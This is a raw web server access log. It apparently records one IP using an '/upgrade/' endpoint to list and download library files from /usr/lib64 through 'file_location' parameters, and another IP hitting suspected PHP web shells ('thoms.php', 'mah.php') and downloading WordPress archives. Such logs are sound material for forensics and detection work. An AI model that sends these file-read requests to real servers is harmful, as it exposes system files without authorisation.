45.135.193.11 - - [11/Sep/2026:22:58:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibSvtAv1Dec.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 872686 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibSvtAv1Dec.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:46 -0400] "GET /thoms-20260912023711.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibexpat.so.1.8.10&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 188609 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibexpat.so.1.8.10&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:46 -0400] "GET /thoms-20260912023711.php?p= HTTP/1.1" 200 159174 "https://163.245.207.76:443/thoms-20260912023711.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:46 -0400] "GET /thoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibformw.so.6.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 139898 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibformw.so.6.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 159174 "https://163.245.207.76:443/thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:46 -0400] "GET /wordpress-6.6.2-zh_TWPlus-20260912023538.zip HTTP/1.1" 200 1015808 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-glx.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 130962 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-glx.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:47 -0400] "GET /wordpress-6.6.2-zh_TWPlus.zip HTTP/1.1" 200 1966080 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:47 -0400] "GET /cgi-bin-20260912023932/cgi-bin-20260912023932/mah.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibatspi.so.0.0.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 195740 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibatspi.so.0.0.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:47 -0400] "GET /cgi-bin-20260912023932/cgi-bin-20260912023932/thoms.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibedit.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 202290 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibedit.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgmodule-2.0.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109928 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgmodule-2.0.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstsdp-1.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 148633 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstsdp-1.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgvc.so.6.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 386619 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgvc.so.6.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibijs-0.35.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 114186 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibijs-0.35.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibp11-kit.so.0.4.10&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 613065 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibp11-kit.so.0.4.10&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpthread.a&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103072 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpthread.a&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibevent_pthreads-2.1.so.7.0.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107872 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibevent_pthreads-2.1.so.7.0.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibhwy_test.so.1.3.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107863 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibhwy_test.so.1.3.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmlx4.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 126631 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmlx4.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibperl.so.5.32.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1372455 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibperl.so.5.32.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:53 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fwireplumber-0.5 HTTP/1.1" 200 7237 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fwireplumber-0.5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcairo-gobject.so.2.11704.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 113415 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcairo-gobject.so.2.11704.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibICE.so.6.3.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 149787 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibICE.so.6.3.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibOpenEXRCore-3_1.so.30&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 235549 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibOpenEXRCore-3_1.so.30&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibc_nonshared.a&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 106178 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibc_nonshared.a&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmlx5.so.1.25.61.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 313046 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmlx5.so.1.25.61.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibodbc.so.2.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 302389 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibodbc.so.2.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrav1e.so.0.8.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1365557 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrav1e.so.0.8.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibstemmer.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 191062 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibstemmer.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:56 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fstunnel HTTP/1.1" 200 6095 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fstunnel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibGLdispatch.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 231206 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibGLdispatch.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibatspi.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 195793 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibatspi.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnss_files.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 105102 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnss_files.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpango-1.0.so.0.4800.7&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 252322 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpango-1.0.so.0.4800.7&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrt.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 106559 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrt.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xfixes.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 113202 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xfixes.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:59 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fcifs-utils HTTP/1.1" 200 6075 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fcifs-utils" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdw-0.194.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 379223 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdw-0.194.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibevent-2.1.so.7&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 266829 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibevent-2.1.so.7&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibldacBT_abr.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107755 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibldacBT_abr.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicuuc.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 948910 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicuuc.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibncurses++w.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103287 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibncurses++w.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpanel.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109328 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpanel.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsamba-errors.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 426679 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsamba-errors.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2F.libgmp.so.10.4.0.hmac&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103109 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2F.libgmp.so.10.4.0.hmac&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fgrcrt1.o&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 104424 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fgrcrt1.o&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibefa.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 125782 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibefa.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfreetype.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 511182 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfreetype.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgssapi_krb5.so.2.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 259678 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgssapi_krb5.so.2.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstvideo-1.0.so.0.2212.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 429544 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstvideo-1.0.so.0.2212.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibthread_db.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 119891 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibthread_db.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibvolume_key.so.1.2.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 144413 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibvolume_key.so.1.2.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXrandr.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 124905 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXrandr.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcap.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 119288 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcap.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibvorbisenc.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 226194 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibvorbisenc.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-shape.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108940 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-shape.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibasyncns.so.0.3.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 113726 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibasyncns.so.0.3.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbrotlienc.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 351155 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbrotlienc.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
